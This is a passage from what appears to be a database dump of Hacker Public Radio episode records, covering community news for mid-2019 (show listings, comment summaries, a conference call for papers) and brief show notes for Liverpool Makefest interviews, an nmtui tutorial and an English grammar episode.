href=\"https://ohiolinux.org/call-for-presentations/\" class=\"uri\">https://ohiolinux.org/call-for-presentations/</a> for full details about submitting a proposal. The deadline is Friday, August 17, but the sooner you can submit a talk, the better.</p>\n<p>Started in 2003, the Ohio LinuxFest <a href=\"https://ohiolinux.org/\" class=\"uri\">https://ohiolinux.org/</a> is an annual grassroots conference in Columbus, Ohio dedicated to open access for all. Presentations relating to any free and open source software, not just Linux, are welcome. Areas where we’ve had talks in the past include networking, system administration, development, and community building. A preliminary pdf brochure is attached.</p>\n<p>Our audience consists of people at all skill levels. Prior speaking experience is a plus, although we do try to provide opportunities for first-time speakers. If you have any questions, please contact us at <a href=\"mailto:speakers@ohiolinux.org\">speakers@ohiolinux.org</a>. We look forward to hearing from you! Thank you for your kind attention and for sharing.</p>\n</blockquote>\n<p>The PDF Brochure mentioned is available at <a href=\"https://hackerpublicradio.org/eps/hpr2871/olf2019.pdf\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2871/olf2019.pdf</a>.</p>\n<h3 id=\"problem-with-show-2855\">Problem with show 2855</h3>\n<p>We upload all HPR shows to the Internet Archive (archive.org). Shows downloaded via the HPR RSS feeds actually come from there, though they are also available on the HPR site.</p>\n<p>Unfortunately, on Friday July 12<sup>th</sup> the archive.org copy of the show <em>hpr2855 :: HPR NYE Show 2018-2019 part 6</em> was found to have been truncated and to consist only of the introduction and final part; no actual content.</p>\n<p>The problem was detected during the morning of Friday and was rectified during the afternoon (UK time). The RSS feeds were adjusted to ensure the show was re-downloaded and all <em>podcatchers</em> should have received the correct version the next time they checked the feed.</p>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributor for sending in updates in the past month: <b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></b></p>\n<p>Over the period tags and/or summaries have been added to 11 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2891,'2019-09-02','HPR Community News for August 2019',2224,'HPR Volunteers talk about shows released and comments posted in August 2019','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2869\" target=\"_blank\">2869</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-08-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2869\" target=\"_blank\">building a bike, following in John Kulp\'s footsteps</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2870\" target=\"_blank\">2870</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-08-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2870\" target=\"_blank\">Hierarchy of Evidence</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2871\" target=\"_blank\">2871</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-08-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2871\" target=\"_blank\">HPR Community News for July 2019</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2872\" target=\"_blank\">2872</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-08-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2872\" target=\"_blank\">Shoe Lace Tips</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2873\" target=\"_blank\">2873</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-08-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2873\" target=\"_blank\">Death Angel - Card game</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2874\" target=\"_blank\">2874</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-08-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2874\" target=\"_blank\">Repair of G.E. Variable Speed Cassette Recorder</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2875\" target=\"_blank\">2875</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-08-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2875\" target=\"_blank\">cutting up the frames</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2876\" target=\"_blank\">2876</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-08-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2876\" target=\"_blank\">Sausage Orzotto</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2877\" target=\"_blank\">2877</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-08-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2877\" target=\"_blank\">Using Zenity with Pdmenu</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2878\" target=\"_blank\">2878</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-08-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2878\" target=\"_blank\">Type classes in Haskell</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2879\" target=\"_blank\">2879</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-08-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2879\" target=\"_blank\">Describing how I listen to podcasts PART 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2880\" target=\"_blank\">2880</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-08-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2880\" target=\"_blank\">Evaluating a Study</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2881\" target=\"_blank\">2881</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-08-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2881\" target=\"_blank\">Automatically split album into tracks in Audacity</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2882\" target=\"_blank\">2882</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-08-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2882\" target=\"_blank\">ONICS Part 1:  Basic Commands</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\" target=\"_blank\">Gabriel Evenfire</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2883\" target=\"_blank\">2883</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-08-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2883\" target=\"_blank\">Pass the pigs</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2884\" target=\"_blank\">2884</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-08-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2884\" target=\"_blank\">TASCAM Porta 02 MiniStudio 4-Track Cassette Recorder Demonstration</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2885\" target=\"_blank\">2885</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-08-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2885\" target=\"_blank\">ONICS Part 2: Filtering and Extraction</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\" target=\"_blank\">Gabriel Evenfire</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2886\" target=\"_blank\">2886</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-08-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2886\" target=\"_blank\">INFOSECOND</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2887\" target=\"_blank\">2887</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-08-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2887\" target=\"_blank\">Stardrifter RPG Playtest Part 01</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2888\" target=\"_blank\">2888</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-08-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2888\" target=\"_blank\">Pattern matching in Haskell</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2889\" target=\"_blank\">2889</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-08-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2889\" target=\"_blank\">Describing how I listen to podcasts PART 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2890\" target=\"_blank\">2890</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-08-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2890\" target=\"_blank\">Penguicon 2019 Report</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 24 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 7 comments on\n2 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2859#comments\" target=\"_blank\">hpr2859</a></strong>\n(2019-07-18) \"<em>HPR NYE Show 2018-2019 part 7</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2859#3\" target=\"_blank\">Comment 3</a>:\nMike Ray on 2019-08-05:\n\"First hour\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2859#4\" target=\"_blank\">Comment 4</a>:\nMrsXoke on 2019-08-05:\n\"To Mike Ray\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2859#5\" target=\"_blank\">Comment 5</a>:\nMike Ray on 2019-08-06:\n\"To Mike Ray\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2859#6\" target=\"_blank\">Comment 6</a>:\nMike Ray on 2019-08-06:\n\"Active shooter drills\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2859#7\" target=\"_blank\">Comment 7</a>:\nMike Ray on 2019-08-06:\n\"Faith and values\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2859#8\" target=\"_blank\">Comment 8</a>:\nfolky on 2019-08-08:\n\"You can fastforward\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2863#comments\" target=\"_blank\">hpr2863</a></strong>\n(2019-07-24) \"<em>Simplified application architectures for improved security</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\" target=\"_blank\">Beeza</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2863#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2019-08-14:\n\"Dynamic vs static linking doesn\'t matter\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 17 comments on 7 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2869#comments\" target=\"_blank\">hpr2869</a></strong>\n(2019-08-01) \"<em>building a bike, following in John Kulp\'s footsteps</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2869#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2019-08-01:\n\"Recycled Recumbents\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2876#comments\" target=\"_blank\">hpr2876</a></strong>\n(2019-08-12) \"<em>Sausage Orzotto</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2876#1\" target=\"_blank\">Comment 1</a>:\nBookewyrmm on 2019-08-12:\n\"Salt\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2876#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2019-08-17:\n\"Re: Salt\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2876#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2019-08-20:\n\"Loved this. I was right there with you in the kitchen\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2881#comments\" target=\"_blank\">hpr2881</a></strong>\n(2019-08-19) \"<em>Automatically split album into tracks in Audacity</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2881#1\" target=\"_blank\">Comment 1</a>:\nJonathan Kulp on 2019-08-22:\n\"Automation is nice\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2882#comments\" target=\"_blank\">hpr2882</a></strong>\n(2019-08-20) \"<em>ONICS Part 1:  Basic Commands</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\" target=\"_blank\">Gabriel Evenfire</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2882#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2019-08-22:\n\"Great project and excellent show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2882#2\" target=\"_blank\">Comment 2</a>:\nGabriel Evenfire on 2019-08-25:\n\"Good to hear\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2884#comments\" target=\"_blank\">hpr2884</a></strong>\n(2019-08-22) \"<em>TASCAM Porta 02 MiniStudio 4-Track Cassette Recorder Demonstration</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2884#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2019-08-22:\n\"fantastic\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2884#2\" target=\"_blank\">Comment 2</a>:\ntuturto on 2019-08-22:\n\"awesome\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2884#3\" target=\"_blank\">Comment 3</a>:\njezra on 2019-08-22:\n\"super fun!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2884#4\" target=\"_blank\">Comment 4</a>:\nJon Kulp on 2019-08-22:\n\"By ear\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2884#5\" target=\"_blank\">Comment 5</a>:\nmcnalu on 2019-08-24:\n\"4tracks4TW\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2884#6\" target=\"_blank\">Comment 6</a>:\nJon Kulp on 2019-08-24:\n\"Can&rsquo;t bounce\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2884#7\" target=\"_blank\">Comment 7</a>:\njohanv on 2019-08-29:\n\"great show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2887#comments\" target=\"_blank\">hpr2887</a></strong>\n(2019-08-27) \"<em>Stardrifter RPG Playtest Part 01</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2887#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2019-08-27:\n\"Eagerly waiting for more\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2887#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2019-08-28:\n\"A future podcast in the future feed\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2890#comments\" target=\"_blank\">hpr2890</a></strong>\n(2019-08-30) \"<em>Penguicon 2019 Report</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2890#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2019-08-31:\n\"solder/\"sodder\"/souder\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-August/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-August/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributor for sending in updates in the past month: <b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></b></p>\n<p>Over the period tags and/or summaries have been added to 10 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2612,'2018-08-07','Liverpool Makefest 2018 - interview with Joe aka Concrete Dog',353,'An interview with Joe from Liverpool makefest','<p>In this episode I talk to Joe aka Concrete dog about amateur Rocketry</p>\r\n<ul>\r\n<li><p><a href=\"https://concretedog.blogspot.com/2018/\" class=\"uri\">https://concretedog.blogspot.com/2018/</a></p></li>\r\n<li><p><a href=\"https://twitter.com/concreted0g\" class=\"uri\">https://twitter.com/concreted0g</a></p></li>\r\n</ul>\r\n\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2612/hpr2612_IMG_20180630_094936.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2612/hpr2612_IMG_20180630_094936_small.jpg\" /></a><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2612/hpr2612_IMG_20180630_095644.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2612/hpr2612_IMG_20180630_095644_small.jpg\" /></a><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2612/hpr2612_IMG_20180630_100342.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2612/hpr2612_IMG_20180630_100342_small.jpg\" /></a><br />\r\n</p>\r\n',338,78,0,'CC-BY-SA','Liverpool Makefest 2018',0,0,1),
(2616,'2018-08-13','Liverpool Makefest 2018 - interview with Josh - A.K.A - All About Code',310,'An interview with Josh recorded at Liverpool makefest','<p>This is another short interview recorded at this year\'s Liverpool Makefest, this time with Josh who developed EduBlocks.</p>\r\n<ul>\r\n<li><p><a href=\"https://lpoolmakefest.org/\" class=\"uri\">https://lpoolmakefest.org/</a></p></li>\r\n<li><p><a href=\"https://edublocks.org/\" class=\"uri\">https://edublocks.org/</a></p></li>\r\n<li><p><a href=\"https://allaboutcode.co.uk/\" class=\"uri\">https://allaboutcode.co.uk/</a></p></li>\r\n<li><p><a href=\"https://github.com/AllAboutCode\" class=\"uri\">https://github.com/AllAboutCode</a></p></li>\r\n<li><p><a href=\"https://twitter.com/all_about_code?lang=en\" class=\"uri\">https://twitter.com/all_about_code?lang=en</a></p></li>\r\n</ul>',338,78,0,'CC-BY-SA','Liverpool Makefest 2018, EduBlocks, computing, young coders',0,0,1),
(2621,'2018-08-20','Liverpool Makefest 2018 - Chan\'nel Thomas a.k.a little pink maker',293,'In this episode I talk to Chan\'nel Thomas aka little pink maker','<p>In this episode recorded at Liverpool Makefest 2018 I talk to Chan\'nel Thomas aka little pink maker. Chan\'nel has an amazing web site; the link is below. I was going to include a couple of pictures taken on the day but they don\'t do her work the justice it deserves.</p>\r\n<ul>\r\n<li><p><a href=\"https://lpoolmakefest.org/\" class=\"uri\">https://lpoolmakefest.org/</a></p></li>\r\n<li><p><a href=\"https://www.littlepinkmaker.com/about\" class=\"uri\">https://www.littlepinkmaker.com/about</a></p></li>\r\n<li><p>Mail: <a href=\"mailto:makeit@littlepinkmaker.com\">makeit@littlepinkmaker.com</a></p></li>\r\n</ul>',338,78,0,'CC-BY-SA','Liverpool Makefest 2018,Making, hacking, creativity, inventions',0,0,1),
(2626,'2018-08-27','Liverpool Makefest 2018 - interviews with Helen and Chris',510,'Interviews about Manchester Hackspace and Wirral Code Club','<p>In this episode I talk to Helen from Manchester Hackspace and Chris from Wirral Code Club</p>\r\n<ul>\r\n<li><p><a href=\"https://lpoolmakefest.org\" class=\"uri\">https://lpoolmakefest.org</a></p></li>\r\n<li><p><a href=\"https://hacman.org.uk/\" class=\"uri\">https://hacman.org.uk/</a></p></li>\r\n<li><p><a href=\"https://www.wirralcodeclub.org/\" class=\"uri\">https://www.wirralcodeclub.org/</a></p></li>\r\n</ul>',338,78,0,'CC-BY-SA','Liverpool Makefest 2018, computing, young coders, hackers, makers, crafts',0,0,1),
(2632,'2018-09-04','Liverpool Makefest 2018 - interviews with Robert and Carl',376,'In this episode I talk to Robert from Roberts Workshop and Carl from Edgehill University','<p>In this episode I talk to Robert from Roberts Workshop and Carl from Edgehill University</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2632/D2632.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2632/D2632_small.jpg\" /></a>\r\n</p>\r\n<ul>\r\n<li><p><a href=\"https://www.robertsworkshop.co.uk/contact\" class=\"uri\">https://www.robertsworkshop.co.uk/contact</a></p></li>\r\n<li><p><a href=\"https://www.edgehill.ac.uk/\" class=\"uri\">https://www.edgehill.ac.uk/</a></p></li>\r\n</ul>\r\n',338,78,0,'CC-BY-SA','Liverpool Makefest 2018, computing, young coders, hackers, makers, crafts',0,0,1),
(2636,'2018-09-10','Liverpool Makefest 2018 - interviews with Noel from JMU FabLab',603,'In this episode I talk to Noel Baker from the JMU FabLab.','<p>In this episode I talk to Noel Baker from the JMU FabLab.</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2636/Cila2636.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2636/Cila2636_small.jpg\" /></a>\r\n</p>\r\n<ul>\r\n<li><a href=\"https://buyonline.ljmu.ac.uk/product-catalogue/ljmu/art-materials/digital-fabrication-lab\" class=\"uri\">https://buyonline.ljmu.ac.uk/product-catalogue/ljmu/art-materials/digital-fabrication-lab</a></li>\r\n<li><a href=\"https://lpoolmakefest.org/\" class=\"uri\">https://lpoolmakefest.org/</a></li>\r\n</ul>\r\n',338,78,0,'CC-BY-SA','Liverpool Makefest 2018, Making, hacking, creativity',0,0,1),
(2594,'2018-07-12','Using nmtui, the Network Manager Terminal User interface',638,'A use case for nmtui and general discussion about how to use it','<p>This is my first show and I am happy to be here!</p>\r\n<p><code>nmtui</code>\'s documentation can be found <a href=\"https://developer.gnome.org/NetworkManager/stable/nmtui.html\">here</a>.</p>\r\n<p>You can reach me on the freenode irc network at <code>blu3r4d0n</code>.</p>',366,0,0,'CC-BY-SA','nmtui, networkmanager, linux',0,0,1),
(2596,'2018-07-16','Battling with English - part 2',1282,'Misunderstandings about English grammar, spelling, punctuation, etc.','<h1 id=\"battling-with-english---part-2\">Battling with English - part 2</h1>\r\n<h2 id=\"further-notes-about-then-and-than\">Further notes about <code>\'then\'</code> and <code>\'than\'</code></h2>\r\n<p>In the last episode I mentioned the confusion between <b><em>then</em></b> and <b><em>than</em></b>. I referred to the etymology of the two words, but I didn\'t go into detail.</p>\r\n<p>Reading the <em>Online Etymology Dictionary</em>, one interesting point in the <a href=\"https://www.etymonline.com/word/than\" title=\"Online Etymology Dictionary: \'than\'\">page about <b><em>than</em></b></a> is that it was:</p>\r\n<blockquote>\r\n<p>Developed from the adverb <em>then</em>, and not distinguished from it by spelling until c. 1700.</p>\r\n</blockquote>\r\n<p>So, it would seem that the two words are related and historically were the same! However, I\'d guess that it is unlikely that people using them interchangeably now are making reference to usage in the 1700\'s.</p>\r\n<hr />\r\n<h2 id=\"problems-with-apostrophes\">Problems with apostrophes</h2>\r\n<p>Let us now examine the apostrophe, which is a punctuation mark. It is used for:</p>\r\n<ul>\r\n<li><p>Indicating that letters have been omitted, such as in a contracted form of words. For example when the phrase <b><em>they are</em></b> is contracted to <b><em>they\'re</em></b>.</p></li>\r\n<li><p>Turning a word into a possessive form such as in <b><em>the cat\'s paw</em></b></p></li>\r\n<li><p>When the plural of <u>a single letter</u> (or digit) is required such as in <b><em>dot your i\'s and cross your t\'s</em></b>.</p></li>\r\n</ul>\r\n<p>There are other uses but you can look at the <a href=\"https://en.wikipedia.org/wiki/Apostrophe\" title=\"Wikipedia article on the Apostrophe\">Wikipedia</a> article for them if you want to dig deeper. I may well revisit this topic in a later show in this series.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2596/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Apostrophe\r\n<ul>\r\n<li>Wikipedia page: <a href=\"https://en.wikipedia.org/wiki/Apostrophe\">Apostrophe</a></li>\r\n<li>Cambridge Dictionary: <a href=\"https://dictionary.cambridge.org/grammar/british-grammar/determiners/possession-john-s-car-a-friend-of-mine\">Possession</a></li>\r\n</ul></li>\r\n<li>Grammar Girl\'s items on apostrophes:\r\n<ul>\r\n<li><a 